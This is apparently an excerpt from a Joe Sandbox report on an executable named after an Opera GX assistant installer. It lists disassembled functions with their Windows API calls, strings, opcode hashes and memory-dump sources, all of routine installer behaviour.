                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@
                                                                                                                                                                                                                • String ID: %%T/$%%T\
                                                                                                                                                                                                                • API String ID: 613200358-2679640699
                                                                                                                                                                                                                • Opcode ID: 4fdce2511c859f55d8219822b4ab85f6aa8ed358adc32d7bfe447d36da80228b
                                                                                                                                                                                                                • Instruction ID: 1540654d000bee33f0bf236bf2786ca3bc36bf969bc56e1bcbd04563868c3890
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4fdce2511c859f55d8219822b4ab85f6aa8ed358adc32d7bfe447d36da80228b
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9F11073190010EAACF05FFA1D946CEEBB39AF00318F10452AB511724E1DBB86699CB98
                                                                                                                                                                                                                Function 00403FA3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%S\,0041472C,?,?,00000000,0040464E,?,?,00000000,?,?,0040628F,?), ref: 00403FE9
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,%%S/,0041471C,?,?,?,%%S\,0041472C,?,?,00000000,0040464E,?,?), ref: 00404027
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%S/,0041471C,?,?,?,%%S\,0041472C,?,?,00000000), ref: 0040404D
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%S/,0041471C,?,?,?,%%S\,0041472C,?,?), ref: 00404055
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@
                                                                                                                                                                                                                • String ID: %%S/$%%S\
                                                                                                                                                                                                                • API String ID: 613200358-358529586
                                                                                                                                                                                                                • Opcode ID: e0f992ba691d3d8e6fe607061ecc69466182fb3c7532a31d8d5cfd91c1c5a6cb
                                                                                                                                                                                                                • Instruction ID: 46769830cf2248f7da0d90b8b5e5a17041a4a2d7ad556ba568fe6d8d869660d1
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e0f992ba691d3d8e6fe607061ecc69466182fb3c7532a31d8d5cfd91c1c5a6cb
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9F11E93190010EBACF05FFA1DD56DEEBB79AF0031CF50456AB521720E1DBB86699CB88
                                                                                                                                                                                                                Function 004054F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00418818,00000001,00418818,00418818,00000001,?,00000000), ref: 00405572
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00418818,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041841C,00418818,00000001,?,00000000), ref: 004055D4
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00418818,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041841C,00418818,00000001,?,00000000), ref: 004055EC
                                                                                                                                                                                                                  • Part of subcall function 0040371D: lstrlenW.KERNEL32(004017FB,00000000,?,?,?,?,?,?,004017FB,?), ref: 0040372A
                                                                                                                                                                                                                  • Part of subcall function 0040371D: GetSystemTimeAsFileTime.KERNEL32(?,004017FB,?,?,?,?,004017FB,?), ref: 004037A0
                                                                                                                                                                                                                  • Part of subcall function 0040371D: GetFileAttributesW.KERNELBASE(?,?,?,?,?,004017FB,?), ref: 004037A7
                                                                                                                                                                                                                  • Part of subcall function 0040371D: ??3@YAXPAX@Z.MSVCRT(?,004017FB,?,?,?,?,004017FB,?), ref: 00403866
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$FileTime$AttributesSystemlstrlen
                                                                                                                                                                                                                • String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
                                                                                                                                                                                                                • API String ID: 4038993085-372238525
                                                                                                                                                                                                                • Opcode ID: 0ebd53fb5d47c7bf41de42006fbab05474753a9fdfed443cfd8ad3a1bb2eab0c
                                                                                                                                                                                                                • Instruction ID: e37cdd1bb20b18eb0c9aa4d9d77910c01642be129359a522859184d78abb527a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0ebd53fb5d47c7bf41de42006fbab05474753a9fdfed443cfd8ad3a1bb2eab0c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8131377580021EAACF05EF92CD819EEBB75FF54318F10042BE811B22E1DB795A45DB58
                                                                                                                                                                                                                Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: wsprintf$ExitProcesslstrcat
                                                                                                                                                                                                                • String ID: 0x%p
                                                                                                                                                                                                                • API String ID: 2530384128-1745605757
                                                                                                                                                                                                                • Opcode ID: efaa74bb8e783b89e2550c26a3ba915e44d67ba2621a20dac2b5c57b7e42c894
                                                                                                                                                                                                                • Instruction ID: 1314f2abe56a8853062125fdc791d10c761366de72a6b198a385f2dfa53c0856
                                                                                                                                                                                                                • Opcode Fuzzy Hash: efaa74bb8e783b89e2550c26a3ba915e44d67ba2621a20dac2b5c57b7e42c894
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4E1142B1800208AFDB20EFA4DE859DA77B8BF44304F10447BE645E3591DB74AA948F69
                                                                                                                                                                                                                Function 00407DD0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • memset.MSVCRT ref: 00407DE5
                                                                                                                                                                                                                • SHBrowseForFolderW.SHELL32(?), ref: 00407DFE
                                                                                                                                                                                                                • SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 00407E1A
                                                                                                                                                                                                                • SHGetMalloc.SHELL32(00000000), ref: 00407E44
                                                                                                                                                                                                                  • Part of subcall function 00407BBF: GetDlgItem.USER32(?,000004B6), ref: 00407BCC
                                                                                                                                                                                                                  • Part of subcall function 00407BBF: SetFocus.USER32(00000000,?,?,00407CB3,000004B6,?), ref: 00407BD3
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: BrowseFocusFolderFromItemListMallocPathmemset
                                                                                                                                                                                                                • String ID: A
                                                                                                                                                                                                                • API String ID: 1557639607-3554254475
                                                                                                                                                                                                                • Opcode ID: 2b098266b39b3f668ca56778adddcd14bb4c1f8d57c6151e1855998d85c55c2b
                                                                                                                                                                                                                • Instruction ID: a4824954b2f530c4be457b4d48ab3620df28fe7afd7e0c092b1d321795545aed
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2b098266b39b3f668ca56778adddcd14bb4c1f8d57c6151e1855998d85c55c2b
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 58112471A042049BDB10DBA5D988BDE77BCAB84744F1000B9E905E7280DB78EF44CBB5
                                                                                                                                                                                                                Function 00402B9D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402BCE
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?), ref: 00402BD7
                                                                                                                                                                                                                  • Part of subcall function 0040119E: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,00401498,00000003,?,004057DF,?,00000000), ref: 004011BE
                                                                                                                                                                                                                  • Part of subcall function 0040119E: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00401498,00000003,?,004057DF,?,00000000), ref: 004011E4
                                                                                                                                                                                                                • ExpandEnvironmentStringsW.KERNEL32(SetEnvironment,00000000,00000001,00000001,SetEnvironment), ref: 00402BEF
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?), ref: 00402C0F
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$EnvironmentExpandStrings$??2@
                                                                                                                                                                                                                • String ID: SetEnvironment
                                                                                                                                                                                                                • API String ID: 612612615-360490078
                                                                                                                                                                                                                • Opcode ID: a2a4f3360b3c8d56214f59353e34f3ca1856ba1f341c44cfbe288398d993be4c
                                                                                                                                                                                                                • Instruction ID: 7a1986039434bfea8fb976bad68b9fec1708bfa62b9b7c4d92bd289c52dd9e7c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a2a4f3360b3c8d56214f59353e34f3ca1856ba1f341c44cfbe288398d993be4c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: BE015272D04108BADB15AF95ED85DEEB77CAF44314F10406BF901F31D1EBB46A808A98
                                                                                                                                                                                                                Function 00404677 Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • lstrlenW.KERNEL32(004183B0,00000020,-00000002,-00000004,0040601F,-00000002,?,?,00000000,0000000A), ref: 00404690
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00404742
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 0040474A
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00404759
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00404761
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$lstrlen
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2031685711-0
                                                                                                                                                                                                                • Opcode ID: 679261e20d504ff0fa30c22afcfcc88d279783148817cbf2474602e6ce08a9f1
                                                                                                                                                                                                                • Instruction ID: e452c8b9580ad5b4e9c5ad8253c2bd18b5e641b8773d8d819885c06dfbd1aa5e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 679261e20d504ff0fa30c22afcfcc88d279783148817cbf2474602e6ce08a9f1
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8F21F7B6D00204ABCF206FA0C805AEB77A8EF96354F14487BEA41B72D1E77D59858698
                                                                                                                                                                                                                Function 004080B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 00407A9A: GetSystemMetrics.USER32(0000000B), ref: 00407AC2
                                                                                                                                                                                                                  • Part of subcall function 00407A9A: GetSystemMetrics.USER32(0000000C), ref: 00407ACB
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000007), ref: 004080C7
                                                                                                                                                                                                                • GetSystemMetrics.USER32(00000007), ref: 004080D8
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,000004B8,?,?), ref: 0040819F
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: MetricsSystem$??3@
                                                                                                                                                                                                                • String ID: 100%%
                                                                                                                                                                                                                • API String ID: 2562992111-568723177
                                                                                                                                                                                                                • Opcode ID: 1d3356155171d20d1060961e5db07983a5804e7e0261b83f935505b6160bc46f
                                                                                                                                                                                                                • Instruction ID: 361b5331053c267c82135be000a438b6f2aafb9a8e426eb0e0de44657c638489
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1d3356155171d20d1060961e5db07983a5804e7e0261b83f935505b6160bc46f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 1031A271A007059FCB20DF69CE459AEB7F4AF50708B10052ED582A62D1DB74FE45CBA9
                                                                                                                                                                                                                Function 00404EC8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 00407CB6: GetSystemMetrics.USER32(00000010), ref: 00407CF8
                                                                                                                                                                                                                  • Part of subcall function 00407CB6: GetSystemMetrics.USER32(00000011), ref: 00407D06
                                                                                                                                                                                                                • wsprintfW.USER32 ref: 00404F48
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(004058A1,00000011,004058A1,00000000,004156D0,?), ref: 00404F85
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: MetricsSystem$??3@wsprintf
                                                                                                                                                                                                                • String ID: %X - %03X - %03X - %03X - %03X$xSA
                                                                                                                                                                                                                • API String ID: 1174869416-2200552790
                                                                                                                                                                                                                • Opcode ID: 4acf813f402e01dbded71cb55099d196ab8731fd289f29243308cef7e3c24851
                                                                                                                                                                                                                • Instruction ID: 40de33091f6d7bfb9cb16c884b275a10ef5d6579019540d7c3242ae87892468d
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 4acf813f402e01dbded71cb55099d196ab8731fd289f29243308cef7e3c24851
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8D117C71D4421CABDB11AB90DD46FEDB334BB44708F20417EB6597A0E2DBB82A44CB99
                                                                                                                                                                                                                Function 00404247 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26stringCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • lstrlenW.KERNEL32(|g@,00000000,?,00000000,0040428E,00000000,00000000,0040677C,?,waitall,00000000,00000000,?,?,004187D0), ref: 00404254
                                                                                                                                                                                                                • lstrlenW.KERNEL32(?,?,?,004187D0), ref: 0040425D
                                                                                                                                                                                                                • _wcsnicmp.MSVCRT ref: 00404269
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: lstrlen$_wcsnicmp
                                                                                                                                                                                                                • String ID: |g@
                                                                                                                                                                                                                • API String ID: 2823567412-4274713814
                                                                                                                                                                                                                • Opcode ID: 8992e580c2879bf2cf1974d0f1fd0d83e29de68f0bfec66311d505a649ea88d3
                                                                                                                                                                                                                • Instruction ID: 91fd41af1b4c5a631b7d1c9a566814b64cdbe312f0f5f3dcf94e635f0d89012e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 8992e580c2879bf2cf1974d0f1fd0d83e29de68f0bfec66311d505a649ea88d3
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 13E04F726042155BCA008BA5AC84C4B7BADEAC8399B14087AF700D2161E735D8158BB5
                                                                                                                                                                                                                Function 004023E1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00406ACC,00000000,?,?), ref: 004023F4
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000), ref: 004023FB
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                                • String ID: Wow64RevertWow64FsRedirection$kernel32
                                                                                                                                                                                                                • API String ID: 2574300362-3900151262
                                                                                                                                                                                                                • Opcode ID: fc8a105a084ed9362e95b51bbe18b35c476ad17b6e1470a8481edb99e814b72d
                                                                                                                                                                                                                • Instruction ID: e6431754f0bb42eea3281cd090f065db593f33429da415fe5b8d4e5d76c2fc8e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: fc8a105a084ed9362e95b51bbe18b35c476ad17b6e1470a8481edb99e814b72d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 46D0C970281201BBD7541BB0EE0DBD636A9E7C0B0AF64C53AA510A00F1CFBC84C0CA2C
                                                                                                                                                                                                                Function 00402415 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • LoadLibraryA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,0040246B,?,00406A06,?,00000000,?,?), ref: 00402426
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000), ref: 0040242D
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                                • String ID: Wow64DisableWow64FsRedirection$kernel32
                                                                                                                                                                                                                • API String ID: 2574300362-736604160
                                                                                                                                                                                                                • Opcode ID: 37665ca539f3be4570db02a906197ebf596f47f328cc02b1eb8054edfcc0c386
                                                                                                                                                                                                                • Instruction ID: 356b9ffe611459cab99037cfc994ce0ef5e0ec7a2b6c4e96b739cb0aff8c561e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 37665ca539f3be4570db02a906197ebf596f47f328cc02b1eb8054edfcc0c386
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 60D0C9702812007BD7505BA4DD0DBC535A4ABD0B06F7080396114910E0CAFC8080C62D
                                                                                                                                                                                                                Function 00402E02 Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00405831,00405831,00000000,00000020,?,?,?,?,?,?,?,?,?,00405831,00000000,00000000), ref: 00402F08
                                                                                                                                                                                                                  • Part of subcall function 00402B04: MultiByteToWideChar.KERNEL32(00000020,00000000,00000024,?,00000000,?,?,00000020,00000024,00000000,00402E66,?,?,00000000,00000000,00000000), ref: 00402B36
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?,00405831,00000000), ref: 00402E75
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?,00405831), ref: 00402E90
                                                                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,?), ref: 00402E98
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000013.00000002.2695412947.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695390064.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695461441.0000000000414000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695496844.0000000000418000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000013.00000002.2695519027.000000000041B000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_19_2_400000_Opera_GX_assistant_73.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ??3@$ByteCharMultiWide
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1731127917-0
                                                                                                                                                                                                                • Opcode ID: 0584d9ab257a190e7f513fa0c5a61e9cc9bc359e4559b65697e670358d67a84a
                                                                                                                                                                                                                • Instruction ID: 1cb3068dceb16179bed37d7bcba6770f4cb49ce50885e45661cd5ff88b0b85c6
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 0584d9ab257a190e7f513fa0c5a61e9cc9bc359e4559b65697e670358d67a84a
                                                                                                                                                                                                                • Instruction Fuzzy Hash: F3319172844119AADB04FBA6DD469EF73B8EF40318F10443FF857B25E1EA7CA9448698
